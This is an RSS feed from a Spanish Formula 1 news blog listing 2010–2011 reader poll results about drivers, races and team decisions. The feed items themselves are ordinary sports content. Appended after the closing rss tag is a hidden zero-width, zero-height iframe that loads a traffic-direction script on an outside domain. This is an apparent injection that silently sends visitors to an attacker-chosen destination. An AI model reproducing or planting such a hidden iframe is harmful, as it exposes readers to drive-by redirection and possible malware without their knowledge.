<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>F1 live - Noticias Formula 1 &#187; Encuestas F1</title>
	<atom:link href="http://www.f1inlive.com/noticiasf1/archivo/encuestas-f1/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.f1inlive.com</link>
	<description>Las últimas noticias de la F1</description>
	<lastBuildDate>Thu, 24 Nov 2011 12:45:37 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Resultados Encuesta Sustituto Kubica en Renault</title>
		<link>http://www.f1inlive.com/resultados-encuesta-sustituto-kubica-en-renault/</link>
		<comments>http://www.f1inlive.com/resultados-encuesta-sustituto-kubica-en-renault/#comments</comments>
		<pubDate>Wed, 16 Feb 2011 13:55:06 +0000</pubDate>
		<dc:creator>Andres R.V.</dc:creator>
				<category><![CDATA[Bruno Senna]]></category>
		<category><![CDATA[Encuestas F1]]></category>
		<category><![CDATA[Nick Heidfeld]]></category>
		<category><![CDATA[Pedro Martínez de la Rosa]]></category>
		<category><![CDATA[Renault]]></category>
		<category><![CDATA[Robert Kubica]]></category>

		<guid isPermaLink="false">http://www.f1inlive.com/?p=11797</guid>
		<description><![CDATA[Tras el gravísimo accidente de rally del polaco Robert Kubica del que os hemos informado detalladamente, se nombraron tres candidatos para sentarse en su monoplaza, los cuales os dimos a elegir en una nueva encuesta, cuyo resultado es que Pedro De La Rosa fue el más votado, aunque será el alemán Heidfeld quien se siente [...]]]></description>
			<content:encoded><![CDATA[<p>Tras el gravísimo accidente de rally del polaco Robert Kubica del que os hemos informado detalladamente, se nombraron tres candidatos para sentarse en su monoplaza, los cuales os dimos a elegir en una nueva encuesta, cuyo resultado es que Pedro De La Rosa fue el más votado, aunque será el alemán Heidfeld quien se siente en el Renault.</p>
<p style="text-align: center;"><a href="http://www.f1inlive.com/wp-content/uploads/sustituto-kubica-renault.jpg"><img class="size-full wp-image-11799 aligncenter" title="sustituto kubica renault" src="http://www.f1inlive.com/wp-content/uploads/sustituto-kubica-renault.jpg" alt="" width="289" height="147" /></a></p>
<img src="http://www.f1inlive.com/?ak_action=api_record_view&id=11797&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.f1inlive.com/resultados-encuesta-sustituto-kubica-en-renault/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resultados Encuesta Mejor F1 en Pretemporada en Valencia</title>
		<link>http://www.f1inlive.com/resultados-encuesta-mejor-f1-en-pretemporada-en-valencia/</link>
		<comments>http://www.f1inlive.com/resultados-encuesta-mejor-f1-en-pretemporada-en-valencia/#comments</comments>
		<pubDate>Wed, 09 Feb 2011 13:27:14 +0000</pubDate>
		<dc:creator>Andres R.V.</dc:creator>
				<category><![CDATA[Encuestas F1]]></category>
		<category><![CDATA[Red Bull]]></category>
		<category><![CDATA[Ricardo Tormo]]></category>
		<category><![CDATA[Scuderia Ferrari]]></category>

		<guid isPermaLink="false">http://www.f1inlive.com/?p=11794</guid>
		<description><![CDATA[Empiezan los test para la temporada 2011, y con ellos ya hemos visot los coches que podrán marcar la tendencia esta temporada, el Ferrari F150th Italia y el Red Bull RB7. Viendo su rendimiento en pista, os preguntamos cual era a vuestros ojos el mejor coche, con este resultado:]]></description>
			<content:encoded><![CDATA[<p>Empiezan los test para la temporada 2011, y con ellos ya hemos visot los coches que podrán marcar la tendencia esta temporada, el Ferrari F150th Italia y el Red Bull RB7. Viendo su rendimiento en pista, os preguntamos cual era a vuestros ojos el mejor coche, con este resultado:</p>
<p style="text-align: center;"><a href="http://www.f1inlive.com/wp-content/uploads/coche-pretemporada-2011.jpg"><img class="size-full wp-image-11795 aligncenter" title="coche pretemporada 2011" src="http://www.f1inlive.com/wp-content/uploads/coche-pretemporada-2011.jpg" alt="" width="279" height="132" /></a></p>
<img src="http://www.f1inlive.com/?ak_action=api_record_view&id=11794&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.f1inlive.com/resultados-encuesta-mejor-f1-en-pretemporada-en-valencia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resultados Encuesta Pat Fry por Chris Dyer en ferrari</title>
		<link>http://www.f1inlive.com/resultados-encuesta-pat-fry-por-chris-dyer-en-ferrari/</link>
		<comments>http://www.f1inlive.com/resultados-encuesta-pat-fry-por-chris-dyer-en-ferrari/#comments</comments>
		<pubDate>Sat, 05 Feb 2011 13:05:39 +0000</pubDate>
		<dc:creator>Andres R.V.</dc:creator>
				<category><![CDATA[Encuestas F1]]></category>
		<category><![CDATA[Scuderia Ferrari]]></category>

		<guid isPermaLink="false">http://www.f1inlive.com/?p=11790</guid>
		<description><![CDATA[Tras las palabras de Montezemolo asegurado que se iba a reestructurar el organigrama de ferrari de cara a 2011, la primera víctima ha sido Chris Dyer, quien va a ser sustituido por el ex-McLaren pat Fry. Por eso os preguntamos siu esta decisión ha sido acertada o no, con este resultado:]]></description>
			<content:encoded><![CDATA[<p>Tras las palabras de Montezemolo asegurado que se iba a reestructurar el organigrama de ferrari de cara a 2011, la primera víctima ha sido Chris Dyer, quien va a ser sustituido por el ex-McLaren pat Fry. Por eso os preguntamos siu esta decisión ha sido acertada o no, con este resultado:</p>
<p style="text-align: center;"><a href="http://www.f1inlive.com/wp-content/uploads/pat-fry-chris-dyer-ferrari.jpg"><img class="size-full wp-image-11791 aligncenter" title="pat fry chris dyer ferrari" src="http://www.f1inlive.com/wp-content/uploads/pat-fry-chris-dyer-ferrari.jpg" alt="" width="286" height="139" /></a></p>
<img src="http://www.f1inlive.com/?ak_action=api_record_view&id=11790&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.f1inlive.com/resultados-encuesta-pat-fry-por-chris-dyer-en-ferrari/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resultados Encuesta Ganador GP Abu Dhabi 2010</title>
		<link>http://www.f1inlive.com/resultados-encuesta-ganador-gp-abu-dhabi-2010/</link>
		<comments>http://www.f1inlive.com/resultados-encuesta-ganador-gp-abu-dhabi-2010/#comments</comments>
		<pubDate>Sun, 14 Nov 2010 15:56:39 +0000</pubDate>
		<dc:creator>Andres R.V.</dc:creator>
				<category><![CDATA[Abu Dhabi]]></category>
		<category><![CDATA[Encuestas F1]]></category>
		<category><![CDATA[Fernando Alonso]]></category>
		<category><![CDATA[Mark Webber]]></category>
		<category><![CDATA[Red Bull]]></category>
		<category><![CDATA[Scuderia Ferrari]]></category>
		<category><![CDATA[Sebastian Vettel]]></category>

		<guid isPermaLink="false">http://www.f1inlive.com/?p=11787</guid>
		<description><![CDATA[Última prueba del año, campeón Sebastial Vettel por primera vez desbancando a Lewis Hamilton como el más joven del deporte en una carrera ñamemtable de Ferrari jugando a la defensiva frente a Mark Webber, quien también tuvo una desastrosa carrera, y en la encuesta que os propusimos en su día al final acabó de esta [...]]]></description>
			<content:encoded><![CDATA[<p>Última prueba del año, campeón Sebastial Vettel por primera vez desbancando a Lewis Hamilton como el más joven del deporte en una carrera ñamemtable de Ferrari jugando a la defensiva frente a Mark Webber, quien también tuvo una desastrosa carrera, y en la encuesta que os propusimos en su día al final acabó de esta manera:</p>
<p style="text-align: center;"><a href="http://www.f1inlive.com/wp-content/uploads/encuesta-ganador-abu-dhabi-2010.jpg"><img class="size-full wp-image-11788 aligncenter" title="encuesta ganador abu dhabi 2010" src="http://www.f1inlive.com/wp-content/uploads/encuesta-ganador-abu-dhabi-2010.jpg" alt="" width="286" height="168" /></a></p>
<img src="http://www.f1inlive.com/?ak_action=api_record_view&id=11787&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.f1inlive.com/resultados-encuesta-ganador-gp-abu-dhabi-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resultados Encuesta Ganador Brasil 2010</title>
		<link>http://www.f1inlive.com/resultados-encuesta-ganador-brasil-2010/</link>
		<comments>http://www.f1inlive.com/resultados-encuesta-ganador-brasil-2010/#comments</comments>
		<pubDate>Sun, 07 Nov 2010 12:37:17 +0000</pubDate>
		<dc:creator>Andres R.V.</dc:creator>
				<category><![CDATA[Brasil]]></category>
		<category><![CDATA[Encuestas F1]]></category>
		<category><![CDATA[Fernando Alonso]]></category>
		<category><![CDATA[Lewis Hamilton]]></category>
		<category><![CDATA[Mark Webber]]></category>
		<category><![CDATA[Sebastian Vettel]]></category>

		<guid isPermaLink="false">http://www.f1inlive.com/?p=11783</guid>
		<description><![CDATA[Podía ser Alonso campeón en esta carrera en función de una serie de resultados, pero no se produjeron, por lo que tocará esperar a Abu Dhabi para saber quien se llevará el trofeo. Sin embargo ya sabemos que Red Bull es el campeón de constructores 2010. Sobre el piloto ganador de la carrera, he aquí [...]]]></description>
			<content:encoded><![CDATA[<p>Podía ser Alonso campeón en esta carrera en función de una serie de resultados, pero no se produjeron, por lo que tocará esperar a Abu Dhabi para saber quien se llevará el trofeo. Sin embargo ya sabemos que Red Bull es el campeón de constructores 2010. Sobre el piloto ganador de la carrera, he aquí los resultados de la encuesta:</p>
<p style="text-align: center;"><a href="http://www.f1inlive.com/wp-content/uploads/encuesta-ganador-brasil-2010.jpg"><img class="size-full wp-image-11784 aligncenter" title="encuesta ganador brasil 2010" src="http://www.f1inlive.com/wp-content/uploads/encuesta-ganador-brasil-2010.jpg" alt="" width="274" height="198" /></a></p>
<img src="http://www.f1inlive.com/?ak_action=api_record_view&id=11783&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.f1inlive.com/resultados-encuesta-ganador-brasil-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resultados Encuesta Red Bull Pérdida de Títulos</title>
		<link>http://www.f1inlive.com/resultados-encuesta-red-bull-perdida-de-titulos/</link>
		<comments>http://www.f1inlive.com/resultados-encuesta-red-bull-perdida-de-titulos/#comments</comments>
		<pubDate>Thu, 04 Nov 2010 12:26:18 +0000</pubDate>
		<dc:creator>Andres R.V.</dc:creator>
				<category><![CDATA[Encuestas F1]]></category>
		<category><![CDATA[Mark Webber]]></category>
		<category><![CDATA[Red Bull]]></category>
		<category><![CDATA[Sebastian Vettel]]></category>

		<guid isPermaLink="false">http://www.f1inlive.com/?p=11780</guid>
		<description><![CDATA[Lo que se ha pregonado parece que se puede hacer realidad, y esuq eRed Bull se está haciendo el hara-kiri, y salvo que lo solucione a tiempo va a perder ambos títulos esta temporada. ésa es la opinión que se puede sacar de los resultados de la encuesta propuesta estos días:]]></description>
			<content:encoded><![CDATA[<p>Lo que se ha pregonado parece que se puede hacer realidad, y esuq eRed Bull se está haciendo el hara-kiri, y salvo que lo solucione a tiempo va a perder ambos títulos esta temporada. ésa es la opinión que se puede sacar de los resultados de la encuesta propuesta estos días:</p>
<p style="text-align: center;"><a href="http://www.f1inlive.com/wp-content/uploads/debacle-red-bull-2010.jpg"><img class="size-full wp-image-11781 aligncenter" title="debacle red bull 2010" src="http://www.f1inlive.com/wp-content/uploads/debacle-red-bull-2010.jpg" alt="" width="283" height="134" /></a></p>
<img src="http://www.f1inlive.com/?ak_action=api_record_view&id=11780&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.f1inlive.com/resultados-encuesta-red-bull-perdida-de-titulos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resultados Encuesta Ganador GP Corea 2010</title>
		<link>http://www.f1inlive.com/resultados-encuesta-ganador-gp-corea-2010/</link>
		<comments>http://www.f1inlive.com/resultados-encuesta-ganador-gp-corea-2010/#comments</comments>
		<pubDate>Sun, 24 Oct 2010 15:11:12 +0000</pubDate>
		<dc:creator>Andres R.V.</dc:creator>
				<category><![CDATA[Corea]]></category>
		<category><![CDATA[Encuestas F1]]></category>
		<category><![CDATA[Fernando Alonso]]></category>
		<category><![CDATA[Jenson Button]]></category>
		<category><![CDATA[Lewis Hamilton]]></category>
		<category><![CDATA[Mark Webber]]></category>
		<category><![CDATA[Sebastian Vettel]]></category>

		<guid isPermaLink="false">http://www.f1inlive.com/?p=11777</guid>
		<description><![CDATA[El primer gran premio de Corea ha sido turbulento, polémico y bonito en su final, y la encuesta que os propusimos sobre el ganador ha sido sin embargo para nada reñido: Fernando Alonso, ganador de la prueba, ha acaparado cais el 80% de los 62 votos emitidos, dejando muy por detrás al resto de opciones [...]]]></description>
			<content:encoded><![CDATA[<p>El primer gran premio de Corea ha sido turbulento, polémico y bonito en su final, y la encuesta que os propusimos sobre el ganador ha sido sin embargo para nada reñido:</p>
<p><a href="http://www.f1inlive.com/wp-content/uploads/ganador-corea-2010.jpg"><img class="alignnone size-full wp-image-11778" title="ganador corea 2010" src="http://www.f1inlive.com/wp-content/uploads/ganador-corea-2010.jpg" alt="" width="281" height="234" /></a></p>
<p>Fernando Alonso, ganador de la prueba, ha acaparado cais el 80% de los 62 votos emitidos, dejando muy por detrás al resto de opciones de esta encuesta, siendo segundo lewis Hamilton, tercero Vettel, cuarto Webber y último Button.</p>
<img src="http://www.f1inlive.com/?ak_action=api_record_view&id=11777&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.f1inlive.com/resultados-encuesta-ganador-gp-corea-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resultados Encuesta Prioridades Red Bull</title>
		<link>http://www.f1inlive.com/resultados-encuesta-prioridades-red-bull/</link>
		<comments>http://www.f1inlive.com/resultados-encuesta-prioridades-red-bull/#comments</comments>
		<pubDate>Thu, 21 Oct 2010 12:02:15 +0000</pubDate>
		<dc:creator>Andres R.V.</dc:creator>
				<category><![CDATA[Encuestas F1]]></category>
		<category><![CDATA[Mark Webber]]></category>
		<category><![CDATA[Red Bull]]></category>
		<category><![CDATA[Sebastian Vettel]]></category>

		<guid isPermaLink="false">http://www.f1inlive.com/?p=11774</guid>
		<description><![CDATA[Ante lo que puede ser un desastre en las filas de Red Bull, hay quien cree que el equipo debe priorizar a un piloto sobre el otro, y por eso os preguntamos quien sería vuestra primera opción para ser campeones, con este claro y rotundo resultado, el cual veremos si se cumple dado que conocemos [...]]]></description>
			<content:encoded><![CDATA[<p>Ante lo que puede ser un desastre en las filas de Red Bull, hay quien cree que el equipo debe priorizar a un piloto sobre el otro, y por eso os preguntamos quien sería vuestra primera opción para ser campeones, con este claro y rotundo resultado, el cual veremos si se cumple dado que conocemos como funciona Red Bull racing:</p>
<p style="text-align: center;"><a href="http://www.f1inlive.com/wp-content/uploads/prioridad-red-bull-2010.jpg"><img class="size-full wp-image-11775 aligncenter" title="prioridad red bull 2010" src="http://www.f1inlive.com/wp-content/uploads/prioridad-red-bull-2010.jpg" alt="" width="286" height="131" /></a></p>
<img src="http://www.f1inlive.com/?ak_action=api_record_view&id=11774&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.f1inlive.com/resultados-encuesta-prioridades-red-bull/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resultados Encuesta Ganador Japón 2010</title>
		<link>http://www.f1inlive.com/resultados-encuesta-ganador-japon-2010/</link>
		<comments>http://www.f1inlive.com/resultados-encuesta-ganador-japon-2010/#comments</comments>
		<pubDate>Sun, 10 Oct 2010 11:54:55 +0000</pubDate>
		<dc:creator>Andres R.V.</dc:creator>
				<category><![CDATA[Encuestas F1]]></category>
		<category><![CDATA[Fernando Alonso]]></category>
		<category><![CDATA[Japón]]></category>
		<category><![CDATA[Jenson Button]]></category>
		<category><![CDATA[Lewis Hamilton]]></category>
		<category><![CDATA[Mark Webber]]></category>
		<category><![CDATA[Sebastien Buemi]]></category>

		<guid isPermaLink="false">http://www.f1inlive.com/?p=11771</guid>
		<description><![CDATA[Se acerca el final de esta apasionante temporada, y cada vez quedan menos aspirantes al trono de campeón del mundo. En esta ocasión, con motivo del GP de Japón, os preguntamos por vuestro favorito a ganador de la carrera, viendo estos resultados: No fue Alonso el real, pero para vosotros lo era tras la remontada [...]]]></description>
			<content:encoded><![CDATA[<p>Se acerca el final de esta apasionante temporada, y cada vez quedan menos aspirantes al trono de campeón del mundo. En esta ocasión, con motivo del GP de Japón, os preguntamos por vuestro favorito a ganador de la carrera, viendo estos resultados:</p>
<p style="text-align: left;"><a href="http://www.f1inlive.com/wp-content/uploads/ganador-japon-2010.jpg"><img class="size-full wp-image-11772 aligncenter" title="ganador japon 2010" src="http://www.f1inlive.com/wp-content/uploads/ganador-japon-2010.jpg" alt="" width="270" height="213" /></a></p>
<p style="text-align: left;">No fue Alonso el real, pero para vosotros lo era tras la remontada que pronosticó Domenicali y que ituó al asturiano con muchas opciones de ser campeón. Le sigue el ganador de la prueba Vettel y máximo rival de Alonso por el título, tercero fue Mark Webber, cuarto Lewis Hamilton y quinto y último Jenson Button con solo 4 votos.</p>
<img src="http://www.f1inlive.com/?ak_action=api_record_view&id=11771&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.f1inlive.com/resultados-encuesta-ganador-japon-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Resultados Encuesta polémica Red Bull en Turquía</title>
		<link>http://www.f1inlive.com/resultados-encuesta-polemica-red-bull-en-turquia/</link>
		<comments>http://www.f1inlive.com/resultados-encuesta-polemica-red-bull-en-turquia/#comments</comments>
		<pubDate>Sun, 06 Jun 2010 11:37:06 +0000</pubDate>
		<dc:creator>Andres R.V.</dc:creator>
				<category><![CDATA[Encuestas F1]]></category>
		<category><![CDATA[Mark Webber]]></category>
		<category><![CDATA[Red Bull]]></category>
		<category><![CDATA[Sebastian Vettel]]></category>
		<category><![CDATA[Turquía]]></category>

		<guid isPermaLink="false">http://www.f1inlive.com/?p=11767</guid>
		<description><![CDATA[Tras la debalce turca de Red Bull al autoeliminarse de la carrera dejando limpio el camino hacia el doblete de McLaren, os pregutamos cómo lo habiais visto, y quien tuvo la culpa del accidente, con este resultado: Claridad meridiana al echarle las culpas al alemán Sebastian vettel del accidente al intentar adelantar a su compñaero [...]]]></description>
			<content:encoded><![CDATA[<p>Tras la debalce turca de Red Bull al autoeliminarse de la carrera dejando limpio el camino hacia el doblete de McLaren, os pregutamos cómo lo habiais visto, y quien tuvo la culpa del accidente, con este resultado:</p>
<p style="text-align: center;"><a href="http://www.f1inlive.com/wp-content/uploads/red-bull-turquia-2010.jpg"><img class="size-full wp-image-11768 aligncenter" title="red bull turquia 2010" src="http://www.f1inlive.com/wp-content/uploads/red-bull-turquia-2010.jpg" alt="" width="282" height="135" /></a></p>
<p style="text-align: left;">Claridad meridiana al echarle las culpas al alemán Sebastian vettel del accidente al intentar adelantar a su compñaero por donde no había sitio, sumando Vettel 255 de los 327 votos totales, mientras Webber hace acopio de 72 votos.</p>
<img src="http://www.f1inlive.com/?ak_action=api_record_view&id=11767&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.f1inlive.com/resultados-encuesta-polemica-red-bull-en-turquia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss><iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
